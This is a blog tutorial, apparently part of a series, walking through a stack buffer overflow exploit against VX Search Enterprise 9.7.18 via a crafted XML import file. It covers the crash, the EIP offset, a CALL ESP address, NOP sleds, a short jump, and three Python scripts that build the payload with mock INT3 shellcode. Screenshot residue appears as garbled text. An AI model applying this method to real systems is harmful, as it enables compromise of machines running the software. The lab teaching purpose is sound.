# Zero Day Zen Garden: Windows Exploit Development - Part 2 [JMP to Locate Shellcode]

Aug 26, 2017 · Steven Patterson



Hello! Welcome to Part 2, today we'll be looking at a stack buffer over flow that uses a short jump to overcome interrupted shellcode on the stack. If you missed Part 1, it can be found here. The vulnerable program we're going to be attacking is a file search solution called VX Search Enterprise version 9.7.18 (download it here). Much of the details for this exploit were obtained from the Exploit-DB page. Once installed, you'll see the following executables on your Windows XP virtual machine in the /bin folder:



The executable that you will be opening for exploitation is "vxsrchc.exe", the only one with an icon. VX Search Enterprise is vulnerable to a stack buffer overflow via a specially crafted XML file opened with the "Import command..." in the "Command" dropdown menu. The overflow occurs in the "name" attribute in the "classify" tag.

🙈 V.	K Se	arch Client								
File	Cor	mmand Tools Help								
P	۸	Search Files			:0	<u>,</u>			2	
Sear	¢	Add Search Command	Vetwork	Reports	Jobs	Connect	Layouts	Options	Help	
		Start Command		Last Search		Results		Status		
		Start In Parallel								
	П	Pause Command								
		Stop Command								
		View Errors								
		View Server Local Disks								
	٩	Search Files in Network Servers								
		Manage Batch Search Commands								
	۸	View Last Report								
		View Search Reports								
	::	Edit Command								
		Copy Command								
		Rename Command								
D	8	Export Command			^	Disk Space	e Monitor	Total	Free	Status
2		Import Command	and - disc	onnected		):⊃ 🥥		19.03 GB	9.89 GB	Normal
		Move Command Lin	and - Con and - disci	nectea onnected						
ŏ 2	Ţ	Move Command Down	and - Con	nected						
2	-	nore connere pomi m	and - disc	onnected	_					
	×	Delete Command	and - Con	nected						
$\mathbf{\Theta}$	Com	mands: U lasks: U Comp	eted: 0	Failed: 0		Connected To	: admin@loc	alhost		

To crash the program, you'll need to generate a large ASCII text buffer of 2000 bytes to cause an overflow on the stack. Go ahead and issue a Python command to generate a large string of A's and copy + paste the contents into the "name" attribute in the crafted XML file named payload.xml below:

```
python -c "print 'A'*2000"
```

payload.xml #1

Save the XML file to the Desktop and go to the "Import command..." button, choose your XML file and BAM! We get a crash!



Cool, now that we have found a potential vulnerability we can start trying to craft an exploit. Let's begin the exploit development process!

# Step 1: Attach debugger and confirm vulnerability

As before in Part 1, we want to start by confirming that EIP is getting overwritten and then proceed to the next step where we find the offset. Open Immunity Debugger and start debugging vsrchc.exe by opening it in the "File" menu.



Press F9 or Debug  $\rightarrow$  Run in the menu. With the program now running, open the XML file through the "Import command..." in the menu like before and check if you got 0x41414141 in EIP.

Also, note that if you try to open the payload.xml file from somewhere other than the Desktop, you may run into an exception in the program that you'll need to press Shift-F7 to pass through in the debugger. This is a little annoying so I'll proceed with the rest of the tutorial by dragging and dropping payload.xml to the Desktop. If you'd like, feel free to modify things to be more comfortable for you.

💩 VX Search C	lient									<
Import Comma	nds					? 🗙				
Look in:	🞯 Desktop		<b>~</b> (	G 🕸 🖻	• 📰 -		I	?		
	My Documents						itions	Help		_
Mu Becent	My Computer	aces					JS			-
Documents	development									
Desktop	Payload									
<b>&gt;</b>										
My Documents										
My Computer										
	File name:	payload		•	/	Open				
My Network	Files of type:	*.xml		•	-	Cancel	al	Free	Status	
26/Aug/2017 26/Aug/2017 26/Aug/2017 26/Aug/2017 26/Aug/2017 26/Aug/2017	11:35:10 admi 11:35:10 admi 11:36:03 admi 11:36:08 admi 11:39:37 admi 11:41:33 admi	ingwondenand - disconnecto ingwonderland - Connected ingwonderland - disconnecto ingwonderland - Connected ingwonderland - disconnecto ingwonderland - Connected	ed ed		• {	19	.03 GB	9.89 GB	Normal	
Ommands: 0	Tasks: 0	Completed: 0 F	ailed: 0	Conr	ected To	: admin@localhos	st		Ι.	

Reg	<u>isters (F</u>	PU)					<	<		<	<		<		<	<	<		<	<		<	<	<				
EAX ECX EDX EBX	00000001 001228E8 0000080A 00000818	ASCII	"AAAA	IAAAAI	AAAA	AAAAA	AAAAA	AAAA	AAAA	IAAAf	AAAAA	AAAA	AAAA	AAAA	AAAA	AAAA	AAA	AAA	AAAA	AAAA	AAA	AAAA	IAAAI	AAAA	AAA	AAAA	IAAAA	AAAAAAA
ESP EBP ESI EDI	00122860 00122944 001228E8 00186288	ASCII ASCII ASCII	"AAAA "AAAA " xr</td <td>iAAAAi iAAAAi ili ve:</td> <td>AAAAA AAAAA rsior</td> <td>999999 99999 1="1.</td> <td>AAAAA AAAAA 0" en</td> <td>AAAA AAAA codi</td> <td>AAAA AAAA ng="</td> <td>IAAAA IAAAA 'UTF-</td> <td>AAAAA AAAAA -8"?&gt;</td> <td>AAAAA AAAAA ∕⊡<cl< td=""><td>AAAA AAAAA .assi</td><td>AAAA AAAAA fy⊡r</td><td>AAAAA AAAAA Name=</td><td>98886 98886 =' 886</td><td>iaaai iaaai iaaai</td><td>AAAA AAAA AAAA</td><td>AAAA AAAA AAAA</td><td>AAAA AAAA AAAA</td><td>AAA AAAA AAAA</td><td>AAAA AAAA AAAA</td><td>IAAAI IAAAI IAAAI</td><td>AAAA AAAA AAAA</td><td>AAAA AAAA AAAA</td><td>AAAA AAAA AAAA</td><td>IAAAA IAAAA IAAAA</td><td>AAAAAAA AAAAAAAA AAAAAAAA</td></cl<></td>	iAAAAi iAAAAi ili ve:	AAAAA AAAAA rsior	999999 99999 1="1.	AAAAA AAAAA 0" en	AAAA AAAA codi	AAAA AAAA ng="	IAAAA IAAAA 'UTF-	AAAAA AAAAA -8"?>	AAAAA AAAAA ∕⊡ <cl< td=""><td>AAAA AAAAA .assi</td><td>AAAA AAAAA fy⊡r</td><td>AAAAA AAAAA Name=</td><td>98886 98886 =' 886</td><td>iaaai iaaai iaaai</td><td>AAAA AAAA AAAA</td><td>AAAA AAAA AAAA</td><td>AAAA AAAA AAAA</td><td>AAA AAAA AAAA</td><td>AAAA AAAA AAAA</td><td>IAAAI IAAAI IAAAI</td><td>AAAA AAAA AAAA</td><td>AAAA AAAA AAAA</td><td>AAAA AAAA AAAA</td><td>IAAAA IAAAA IAAAA</td><td>AAAAAAA AAAAAAAA AAAAAAAA</td></cl<>	AAAA AAAAA .assi	AAAA AAAAA fy⊡r	AAAAA AAAAA Name=	98886 98886 =' 886	iaaai iaaai iaaai	AAAA AAAA AAAA	AAAA AAAA AAAA	AAAA AAAA AAAA	AAA AAAA AAAA	AAAA AAAA AAAA	IAAAI IAAAI IAAAI	AAAA AAAA AAAA	AAAA AAAA AAAA	AAAA AAAA AAAA	IAAAA IAAAA IAAAA	AAAAAAA AAAAAAAA AAAAAAAA
EIP	41414141																											
	ES 0023 CS 001B SS 0023 DS 0023 FS 003B GS 0000 LastErr	32bit 32bit 32bit 32bit 32bit NULL ERROR	Ø(FFF Ø(FFF Ø(FFF Ø(FFF 7FFDF	FFFFI FFFFI FFFFI 900(1	F) F) F) F) FFF) 00000	3000)																						
EFL	00010202	(NO, N	B,NE,F	I, NS, I	PO,GE	E,G)																						
STØ ST1 ST2 ST3 ST4 ST5 ST6 ST7	empty empty empty empty empty empty empty empty							_																				
FST FCW	0000 Co 027F Pr	32 nd 00 ec NEAI	1 0 0 0 R,53	Err ( Mask	E S F Ø Ø Ø	900 000 111	2 D 0 0 1 1 1	I 0 ( 1	GT)																			

Great! Looks like we've got ourselves a pretty straightforward EIP overwrite. Let's generate a pattern and identify the offset we need to have to put our own address into EIP in our next step.

## Step 2: Find EIP offset and confirm control over EIP value

Use the Mona command below to generate a pattern buffer for our XML payload file:

```
!mona pc 2000
```

This is the shorter version of "pattern\_create", copy + paste the ASCII pattern into the XML file where our A's buffer was. Restart the program (Ctrl-F2) and run it again (F9) to open up the XML file with the pattern.



payload.xml #2

```
<?xml version="1.0" encoding="UTF-8"?>
<classify
name='Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac
</classify>
```

We'll get another crash, but this time the program is holding onto our pattern buffer.



Plug in the value we now see in EIP (0x42327A42) into the command below:

This is the short version command for "pattern\_offset".



We can see from the command output that the offset to EIP is 1536 bytes. You can also run "!mona findmsp" while the pattern buffer is still in the crashed program to get detailed information about parts of the program holding the pattern. Be warned though, it takes a few minutes so go and get a cup of coffee while it does its thing.

Now, let's confirm our offset by writing a Python proof-of-concept script:

#### vxsearch\_poc.py #1

```
import struct
BUF SIZE = 2000
                                        # Set a consistent total buffer size
junk = " x41" * 1536
                                        # 1536 bytes to hit EIP
eip = struct.pack("<L", 0xdeadbeef)  # Use little-endian to test address 0xde</pre>
exploit = junk + eip
                                        # Combine our offset bytes and EIP overw
fill = "\x43"*(BUF SIZE-len(exploit)) # Calculate number of filler bytes to us
buf = exploit + fill
                                       # Combine everything together for exploi
# Write buffer to specially crafted XML file for overflow in "name" attribute
xml payload = '<?xml version="1.0" encoding="UTF-8"?>\n<classify\nname=\'' + buf</pre>
try:
   f = open("C:\\payload.xml", "wb") # Exploit output will be written to C di
                                        # Write entirety of buffer out to file
   f.write(xml_payload)
                                        # Close file
   f.close()
   print "\nVX Search Enterprise Stack Buffer Overflow Exploit"
    print "\nExploit written successfully!"
   print "Buffer size: " + str(len(buf)) + "\n" # Buffer size sanity check to e
except Exception, e:
   print "\nError! Exploit could not be generated, error details follow:\n"
    print str(e) + "\n"
```

In the above Python script, we are setting up our EIP overwrite by writing 1536 bytes of filler junk bytes, then we plug in our chosen EIP value (0xdeadbeef). Next, we write out this buffer to our XML file that contains the overflow vulnerability and write it to the C:// directory. Let's run this script and then drag + drop it to the Desktop. Restart vxsrch.exe in Immunity and "Import command..." the XML file just like before and inspect the contents of EIP.



Aha! We have deadbeef! Now that we've confirmed we can directly control the EIP value, we can move onto the next step where we plug in a useful address for code execution.

# Step 3: Finding EIP address to JMP ESP and mock code

Let's try and jump to the stack then execute mock shellcode with interrupt (INT 0xCC) instructions like we did with NScan previously. First, issue a command to Mona that will find a suitable assembly instruction to get into the stack (after restarting and running the vsrchc.exe program in Immunity):

!mona jmp -r esp

Open up the jmp.txt file in the logs directory and take a look. It appears as though kernel32.dll is a good reliable choice, so we'll pick that.

🗁 vxsrchc			
File Edit View Favorites Tools Help		<u>///</u>	
	📖 🔲 jmp - Notepad		
Back • 🕑 • 💋 🔑 Search 🍋 H	File Edit Format View Help		
Address 🔁 C:\logs\vxsrchc	0x775c0af3 : jmp esp	{PAGE_EXECUTE_READ} [o]e32.d]] ASLR: False, Rebase: Fal	se, SafesEH: True, OS: True, v5.1.2600.6435 (C:\WIND()
	0x773f3703 : jmp esp	ascii {PAGE_EXECUTE_READ} [COMCTL32.dll] ASLR: False, Reb	pase: False, SafeSEH: True, OS: True, V6.0 (C:\WINDOW:
File and Folder Tasks 🔕 📒 🎬	ext Document 0x651bb77a : jmp esp	ASCHIPTINU, ASCHI {PAGE_EXECUTE_READ} [MSCIF.UTI] ASLR: Fa   {PAGE_EXECUTE_READ} [QtGui4.dll] ASLR: False, Rebase: Fa	alse, Rebase: False, SalesEH: True, OS: True, V5.1.260 alse, SafeSEH: False, OS: False, v4.3.4.0 (C:\Program
= <sup>10</sup> Decembric Sta	5 КВ 0х651c2194 : jmp esp	<pre>PAGE_EXECUTE_READ { [otGui4.dll] ASLR: False, Rebase: False, Rebase: False, Rebase: False, Rebase; False; False, Rebase; False; Fals</pre>	alse, SafeSEH: False, OS: False, v4.3.4.0 (C:\Program
Rename this rile	0x651f20e5 : imp esp	{PAGE_EXECUTE_READ} [QUGU14.dl]] ASLR: False, Rebase: Fa	alse, SafeSEH: False, OS: False, V4.3.4.0 (C:\Program
Move this file	0×651f214e : jmp esp	asciiprint, ascii {PAGE_EXECUTE_READ} [QtGui4.dll] ASLR: F	alse, Rebase: False, SafeSEH: False, OS: False, V4.3.
Copy this file	0x76b43adc : imp esp	, {PAGE_EXECUTE_READ} [QTGU14.dll] ASLR: False, Rebase: Fa   {PAGE EXECUTE READ} [WINMM.dll] ASLR: False. Rebase: Fa?	sise, Safesen: Faise, 05: Faise, V4.3.4.0 (C:\Program se. Safesen: True. 05: True. V5.1.2600.6160 (C:\WIND
Publish this file to the Web	0x77f31d9e : jmp esp	{PAGE_EXECUTE_READ} [GDI32.dll] ASLR: False, Rebase: Fal	se, SafesEH: True, OS: True, V5.1.2600.6460 (C:\WINDO
🔁 E-mail this file	0x7/det069 : jmp esp 0x77e1b52b : imp esp	, {PAGE_EXECUTE_READ} [ADVAPI32.dll] ASLR: False, Rebase: { PAGE EXECUTE READ} [ADVAPI32.dll] ASLR: False, Rebase:	False, SafeSEH: True, OS: True, V5.1.2600.5755 (C:\W: False, SafeSEH: True, OS: True, V5.1.2600.5755 (C:\W:
i Print this file	0x77e1be1b : jmp esp	{PAGE_EXECUTE_READ} [ADVAPI32.d]] ASLR: False, Rebase:	False, SafeSEH: True, OS: True, V5.1.2600.5755 (C:\W:
X Delete this file	0x77e26323 : jmp esp 0x77e27023 : jmp esp	{PAGE_EXECUTE_READ} [ADVAPI32.dll] ASLR: False, Rebase:   {PAGE_EXECUTE_READ} [ADVAPI32_dll] ASLR: False_Rebase:	False, SateSEH: True, OS: True, V5.1.2600.5755 (C:\W: False SateSEH: True OS: True V5.1.2600.5755 (C:\W:
	0x77963da3 : jmp esp	{PAGE_EXECUTE_READ} [SETUPAPI.dll] ASLR: False, Rebase:	False, SafeSEH: True, OS: True, V5.1.2600.5512 (C:\W:
Other Places	0x77967b13 : jmp esp	<pre>{PAGE_EXECUTE_READ} [SETUPAPI.d]] ASLR: False, Rebase: {PAGE_EXECUTE_READ} [SETUPAPI.d]]] ASLR: False, Rebase;</pre>	False, SafeSEH: True, OS: True, v5.1.2600.5512 (C:\W:
other Places	0x100a6bab : call esp	<pre>  {PAGE_EXECUTE_READ} [libspg.dll] ASLR: False, Rebase: F</pre>	alse, SafeSEH: False, OS: False, V-1.0- (C:\Program F
Constant Con	0x77b4b543 : call esp	{PAGE_EXECUTE_READ} [apphelp.dll] ASLR: False, Rebase: [DAGE_EXECUTE_READ] [kernel22 dll] ASLR: False, Rebase:	False, SafeSEH: True, OS: True, V5.1.2600.5512 (C:\W:
A My Documents	Dx7c95d003 : call esp	<pre>{PAGE_EXECUTE_READ} [ntdll.dll] ASLR: False, Rebase: False</pre>	alse, SafeSEH: True, OS: True, v5.1.2600.6055 (C:\WINI
Carl Shared Documents	0x77fb02fc : call esp	<pre>{PAGE_EXECUTE_READ} [SHLWAPI.d]] ASLR: False, Rebase: {</pre>	False, SafeSEH: True, OS: True, v6.00.2900.5912 (C:\\
😼 My Computer	0x7ca6801a : call esp	<pre>{PAGE_EXECUTE_READ} [ODDC32.dll] ASLR: False, Rebase: F {PAGE_EXECUTE_READ} [SHELL32.dll] ASLR: False, Rebase:</pre>	False, SafesEH: True, OS: True, V6.00.2900.6242 (C:\\
🙀 My Network Places	0x7cb42e3e : call esp	<pre>{PAGE_EXECUTE_READ} [SHELL32.d]]] ASLR: False, Rebase:</pre>	False, SafeSEH: True, OS: True, V6.00.2900.6242 (C:\)
	0x77506822 : call esp	asciiprint.ascii {PAGE_EXECUTE_READ} [ole32.dll] ASLR: F	False, Salesen: True, OS: True, V6.00.2900.6242 (C:() False, Rebase: False, SafeSEH: True, OS: True, V5.1.20
	0x7475d20f : call esp	<pre>{PAGE_EXECUTE_READ} [MSCTF.d]] ASLR: False, Rebase: False, Re</pre>	alse, SafesEH: True, OS: True, v5.1.2600.5512 (C:\WINI
Details	0x6527635e : call esp	asciiprint.ascii {PAGE_EXECUTE_READ} [QUGUI4.011] ASLR: Faise, Rebase: F	False, SaleseH: False, OS: False, V4.3.4.0 (C:\Program False, Rebase: False, SafeSEH: False, OS: False, V4.3
	0x77f121bc : call esp	<pre>{PAGE_EXECUTE_READ} [GDI32.dll] ASLR: False, Rebase: False</pre>	alse, SafesEH: True, OS: True, v5.1.2600.6460 (C:\WINI
	0x77def01C : call esp 0x77def0d2 : call esp	<pre>{PAGE_EXECUTE_READ} [ADVAPI32.dll] ASLR: False, Rebase:</pre>	: False, SalesEH: True, OS: True, V5.1.2600.5755 (C:\\ : False, SafeSEH: True, OS: True, V5.1.2600.5755 (C:\\
	0x7793f533 : call esp	<pre>[ {PAGE_EXECUTE_READ} [SETUPAPI.d]] ASLR: False, Rebase:</pre>	: False, SafeSEH: True, OS: True, V5.1.2600.5512 (C:\)
	0x7795aae7 : call esp	<pre>{PAGE_EXECUTE_READ} [SETUPAPI.dll] ASLR: False, Rebase:</pre>	: False, SatesEH: True, OS: True, V5.1.2600.5512 (C:\\ : False. SafesEH: True. OS: True. v5.1.2600.5512 (C:\\
55 00 00 Delete	0x7798a67b : call esp	{PAGE_EXECUTE_READ} [SETUPAPI.dll] ASLR: False, Rebase:	False, SafeSEH: True, OS: True, v5.1.2600.5512 (C:\\
43 6F 6D 1EditCom 29 00 00 mand()	0x00430fd2 : push esp	<pre># ret   startnull {PAGE EXECUTE READ} [vssrchc.exe] ASLR:</pre>	aise, Satesem: True, OS: True, V5.1.2600.5512 (C:\WII : False. Rebase: False. SafeSEH: False. OS: False. V-1
57 65 73 :/[mages SF 6E 73 /options	0x00440f22 : push esp	<pre># ret   startnull,ascii {PAGE_EXECUTE_READ} [vxsrchc.exe]</pre>	ASLR: False, Rebase: False, SafeSEH: False, OS: Fal:
2E 70 6E _16px.pn 54 69 74 gEdit	<		2
53 66 692011			

Let's update our Python script and plug in the kernel32.dll CALL ESP address, then put in some mock shellcode that will pause execution when it's hit in the debugger:

vxsearch\_poc.py #2

```
import struct
BUF SIZE = 2000
                                        # Set a consistent total buffer size
junk = " x41" * 1536
                                        # 1536 bytes to hit EIP
eip = struct.pack("<L", 0x7c836a78)</pre>
                                       # Use little-endian to format address 0x
nops = "\setminus x90"*24
                                        # 24 byte NOP sled to get to mock code
                                        # 250 byte block of mock INT shellcode t
shellcode = 'xCC'*250
exploit = junk + eip + nops + shellcode
fill = "\x43"*(BUF_SIZE-len(exploit)) # Calculate number of filler bytes to us
                                       # Combine everything together for exploi
buf = exploit + fill
# Write buffer to specially crafted XML file for overflow in "name" attribute
xml_payload = '<?xml version="1.0" encoding="UTF-8"?>\n<classify\nname=\'' + buf</pre>
try:
   f = open("C:\\payload.xml", "wb") # Exploit output will be written to C di
   f.write(xml payload)
                                        # Write entirety of buffer out to file
   f.close()
                                        # Close file
   print "\nVX Search Enterprise Stack Buffer Overflow Exploit"
   print "\nExploit written successfully!"
   print "Buffer size: " + str(len(buf)) + "\n" # Buffer size sanity check to e
except Exception, e:
   print "\nError! Exploit could not be generated, error details follow:\n"
   print str(e) + "\n"
```

You can see that we added in the address 0x7C836A78 for the CALL ESP instruction and added a "shellcode" variable with 250 bytes of interrupt (0xCC) code preceded by 24 bytes of NOP sled in the "nops" variable. Again, what this should do is CALL ESP to start executing code from the stack, slide down the NOP sled into our mock shellcode and then pause. Let's try this out by running the script, placing the generated XML on the Desktop, restarting + starting (Ctrl-F2  $\rightarrow$  F9) the VX Search program and loading in the XML file. And the results are...



Awesome! We hit our INT instructions, but wait... It appears as though our mock shellcode gets interrupted part way through at 0x00122870 and 0x00122872. We don't see our mock code there, we just see some other random instructions. That's annoying and unexpected... Well, why don't we just jump over this? Here is an opportunity for us to learn about how to use short jump assembly instructions in our exploit code!

# Step 4: Using JMP to overcome interrupted shellcode

First, we need to go over some brief theory and how to go about using short jump assembly instructions in our exploit script. The main objective is to hop over the portion of the stack that interrupts our shellcode. In assembly, the instruction JMP 10 will cause the instruction pointer to skip forward by 16 bytes. JMP takes an argument in hex (which is Base 16), so if you want to skip ahead 18 bytes then it would be JMP 12. You can use a hex calculator online to make these calculations for you.

The JMP instruction will use relative offset values from 00h to 7Fh, in other words, you can jump to another instruction with a maximum of 127 bytes in-between them. You can read a very good explanation of the short JMP x86 assembly instruction here.

After using a JMP instruction to hop over the messed up portion of the stack, we should put in a NOP slide in case there are any positional changes on a different system. Ideally, we'd like the JMP to land us in the middle of a NOP sled. Let's start adding this into our Python script, first thing to do is translate JMP 10 into object code. We can do this by using the Mona command:

We can then begin reviewing the output in the Log window (View  $\rightarrow$  Log or Alt-L, use Alt-C to return back).



Okay great, so we can plug in the object code "\xeb\x10" to our Python script and use 16 byte NOPs to reach the part where our jump will land with another 16 byte NOP sled to slide into our shellcode. Let's add it to our script below:



#### vxsearch\_poc.py #3

```
import struct
BUF SIZE = 2000
                                       # Set a consistent total buffer size
junk = " x41" * 1536
                                       # 1536 bytes to hit EIP
eip = struct.pack("<L", 0x7c836a78)</pre>
                                      # Use little-endian to format address 0x
nops = '' \times 90'' \times 24
                                       # 24 byte NOP sled to get to mock code
jump = "\xEB\x10"
                                      # 16 byte short jump over interrupted se
nops2 = ''x90''*16+''x90''*16
                                       # 16 byte NOPs to get to jump landing +
shellcode = "\xCC"*250
                                      # 250 byte block of mock INT shellcode t
exploit = junk + eip + nops + jump + nops2 + shellcode
fill = "\x43"*(BUF SIZE-len(exploit)) # Calculate number of filler bytes to us
                                # Combine everything together for exploi
buf = exploit + fill
# Write buffer to specially crafted XML file for overflow in "name" attribute
xml payload = '<?xml version="1.0" encoding="UTF-8"?>\n<classify\nname=\'' + buf</pre>
```

```
try:
    f = open("C:\\payload.xml", "wb")  # Exploit output will be written to C di
    f.write(xml_payload)  # Write entirety of buffer out to file
    f.close()  # Close file
    print "\nVX Search Enterprise Stack Buffer Overflow Exploit"
    print "\nExploit written successfully!"
    print "Buffer size: " + str(len(buf)) + "\n" # Buffer size sanity check to e
except Exception, e:
    print "\nError! Exploit could not be generated, error details follow:\n"
    print str(e) + "\n"
```

As you can see, we added in our jump instruction in the "jump" variable and inserted our NOP sled after the jump landing in the "nops2" variable. Now, run the script, restart the program in Immunity and open the generated XML file with "Import command...", you should see that we have successfully hopped over the section of code that was causing us problems and into our mock INT shellcode. Brilliant!



To really drive the point home, we can do a slow motion walkthrough of what's going on here with the jump. If you'd like to do this, follow these steps:

• Set a "Hardware, on execution" breakpoint on the JMP instruction we added by right clicking it while the program is still open in Immunity

00122868	ÉB 10	JMP CH	ODT 00100070				
00122868 00122868 00122868 00122860 00122860 00122860 00122865 00122867 00122870 00122872 00122872	ÉB 10 90 90 90 90 90 90 90 00 00 00 00 00 00	NOP NOP NOP NOP NOP NOP OR OR OR OR OR OR OR OR OR OR OR OR OR	Backup Copy Binary Assemble Label	Space :	* * *		
00122875 00122876 00122877 00122878 00122878 00122879 00122879	90 90 90 90 90	NOP NOP NOP NOP NOP NOP	Comment Add Header Modify Variable	;			
0012287B	90	NOP	Breakpoint		×.	Toggle	F2
0012287C 0012287D 0012287E 0012287E 0012287F 00122880 00122881	90 90 90 90 90	NOP NOP NOP NOP NOP	Follow New origin here	Enter Ctrl+Gray *		Conditional Conditional log Run to selection	Shift+F2 Shift+F4 F4
00122882 00122883 00122884 00122885 00122885 00122886 00122886	90 90 90 90 90 90	NOP NOP NOP NOP NOP	Go to Thread Follow in Dump		•	Memory, on access Memory, on write	
30122888 30122889 30122889 30122888 30122888 30122888	90 90 CC CC	NOP NOP INTS INTS	Search for Find references to		•	Hardware, on execution Remove hardware breakpoint	
00122880 0012288D 0012288E 0012288F 0012288F			Analysis Bookmark		+		
00122891 00122892 00122893 00122893 00122894		ÎNTE INTE INTE INTE	Appearance		۲		
00122895 00122896	čč	ÎNT3 INT3					

• Restart the program and run it again, do the same as before and load in the XML payload file and you'll see that the program will pause on the JMP instruction

30122868	EB 10	JMP SHORT 0012287A	
0012286A	90	NOP	
0012286B	90	NOP	
0012286C	90	NUP	
00122860	20	NUP	16 by to
0012286E	70	NOP	
0012200F	70	OP CL DUTE DTD DC. FEOVI	
00122070 00122070	0000	OND DUTE DTD DO FERVI OF	
00122012	9000	NOP	
A0122875	άÃ	NOP	
A0122876	эй	NOP	
00122877	9 <b>0</b>	NOP	J
00122878	90	NOP	
00122879	90	NOP /	
0012287A	90	NOP	
0012287B	90	NOP	
0012287C	90	NOP	
0012287D	90	NOP	
0012287E	50	NOP	
0012287F	90	NOP	
00122880	90	NUP	
00122881	20	NOP	
00122882	70	NOP	
00122000	90	NOP	
00122004 00122005	90	NOP	
00122000 00122886	40 40	NOP	
A0122887	áğ	NOP	
00122888	9ñ	NOP	
00122889	9 <b>0</b>	NOP	
0012288A	ČČ	INTS	
0012288B	CC	INTS	
0012288C	CC	INTS	
0012288D	CC	INTS	
0012288E	ÇÇ	INTS	
0012288F	çç	INTS	
00122890	CC .	INTS	
00122891		INTS	
00122892			
00122093 00122093	CC	INTO	
00122094 0012289⊑		INTS	
A0122896	22	INTS	
A0122897	čč	INTS	
A0122898	čč	INTS	
00122899	čč	INTS	
0012289A	CC	INTS	
0012289B	CC	INTS	
0012289C	CC	INTS	
0012289D	CC	INTS	
0012289E	ÇÇ	INTS	
0012289F	CC	INTS	
00122880	CC	INIS	
001228H1	CC	1013	

 Press F7 (or Debug → Step into) to move forward by 1 instruction in the debugger, you'll see that we jump forward 16 bytes! Hit F7 again or click the little red arrow beside the pause button to step forward by 1 again to go through some NOPS.

No. P9     Pass   Pass   Run   Pass   Pass   Pass   Run   Pass   Pass </th <th>C</th> <th>File</th> <th>view</th> <th>Debug Plugins Inincib</th> <th>Options window</th> <th>пер за</th> <th>IDS</th> <th></th> <th></th> <th></th> <th></th> <th></th> <th></th>	C	File	view	Debug Plugins Inincib	Options window	пер за	IDS						
Pause P	6	) <b>3</b> 35	e <b>x</b>	Run	F9	lem	tw	h					
Restatt Ctrl+F2 Close Alt+F2 Step into F7 Step over F8 Arimate into Ctrl+F9 Execute til user code Alt+F9 Open or clear run trace Trace into Ctrl+F11 Trace into Ctrl+F12 Set condition Ctrl+F12 Set condition Ctrl+F12 Coser un trace Hardware breakpoints Inspect Call LL export Arguments Select import libraies Debugging Symbols Options The m t w h c P k b z r s ?	01: 64	22868	EB 1	Pause	F12								
Close AkHF2 Step into F7 Aimste over F8 Aimste over CH+F8 Execute til return Ct+F9 Execute til return Ct+F9 Execute til return Ct+F9 Execute til return Ct+F11 Trace nover Ct+F11 Trace nover Ct+F12 Close run trace Hardware breakpoints Inspect Cal DLI export Arguments Select import libraries Debugging Symbols Options  CL_EVITE PTR 05: LERX) CL_	012	2286H 2286B	90	Restart	Ctrl+F2								
Step into       F7         Step over       F8         Animate into       CtH+F7         Animate into       CtH+F9         Animate into       CtH+F9         Execute till user code       Alt+F9         Open or tilear run trace       Trace into         Trace over       CtH+F11         Trace over       CtH+F12         Seto multitace       Trace into         Hardware breakpoints       Inspect         Inspect       CallLt export         Arguments       Select import libraries         Debugging Symbols Options       Stept P10 StickEXX1         Stept With P10 StickEXX1       Stept P10 StickEXX1         Stept With P10 StickEXX1       Stept P10 StickEXX1	01. 01.	2286C 2286D	90	Close	Alt+F2								
Step over F8 Animate into CUH+F7 Animate into CH+F9 Execute III verturn CH+F9 Execute III verturn CH+F9 Execute III verturn CH+F9 Execute III verturn CH+F11 Trace into CH+F11 Trace over CH+F12 Set condition CH+F11 Trace over CH+F12 Set condition CH+F13 Debugging Symbols Options Set CH CH export Anguments Set inport Ibraries Debugging Symbols Options CH CH CH export Set CH CH export Anguments Set inport Ibraries Debugging Symbols Options CH CH CH Export Anguments Set inport Ibraries Debugging Symbols Options CH CH CH Export Anguments Set inport Ibraries Debugging Symbols Options CH CH CH Export CH CH Export Anguments Set inport Ibraries Debugging Symbols Options CH CH Export CH CH Expo	012 012	2286E 2286F	90	Step into	F7								
Arimate into Ctrl+F7 Arimate over Ctrl+F8 Execute til ruser code Alt+F9 Open or dear run trace Trace into Ctrl+F1 Trace over Ctrl+F12 Set condition Ctrl+T Code run trace Hardware breakpoints Inspect Call LL export Arguments Select import libraies Debugging Symbols Options Ctrl+F12 Set condition Ctrl+F12 Set condition C	012 012	22870 22872	0000 0000	Step over	F8								
Arimate over Ctri+F8 Execute III return Ctri+F9 Copen or dear run trace Trace into Ctri+F11 Trace over Ctri+F12 Set condition Ctri+F1 Choe run trace Hardware breakpoints Inspect Cal CLE export Aryuments Select import libraries Debugging Symbols Options Select import libraries Debugging Symbols Options Cal CLE export Aryuments Select import libraries Cal CLE export Aryuments Select import libra	91: 91:	22874 22875	90 90	Animate into	Ctrl+F7								
Execute til return Ctri+F9 Execute til user code Ak+F9 Open or clear run trace Trace into Ctri+F11 Trace into Cose run trace Hardware breakpoints Inspect Select import literaries Debugging Symbols Options Debugging Symbols Options Ctri+F12 Select import literaries Debugging Symbols Options Select import literaries Select import literaries Sele	012 012	22876 22877	90 90	Animate over	Ctrl+F8								
Execute II user ode Ak+F9 Open or clear run trace Trace inko Ctrl+F11 Trace over Ctrl+F12 Set condition Ctrl+T Close run trace Hardware breakpoints Inspect Cal DL export Arguments Select import litraries Debugging Symbols Options Select import litraries Select import litraries Selec	31: 31	22878 22879	90 90	Execute till return	Ctrl+F9								
Image: Call DLL export         Arguments         Debugging Symbols Options		2287A	90 90	Execute till user code	Alt+F9								
Open or clear run trace         Trace into       Chi+F11         Trace ver       Chi+F12         Set condition       Chi+F12         Osen on trace       Hardware breakpoints         Inspect       Call Lexport         Arguments       Select import litraries         Debugging Symbols Options       Select import litraries         Second       Select import litrari		2287C	90										
Trace inko Ctrl+F11 Trace over Ctrl+F12 Set condition Ctrl+F12 Close run trace Hardware breakpoints Inspect Call DLL export Arguments Debugging Symbols Options Ctrl CL_RYTE PTR DS1EEX3 Ctrl CL_RYTE PTR DS1EX3 CTrl CL_RYTE PTR DS1EEX3 CTrl CL_RYTE PTR DS1EX3 CTrl CL		2287U 2287E	90	Open or clear run trace									
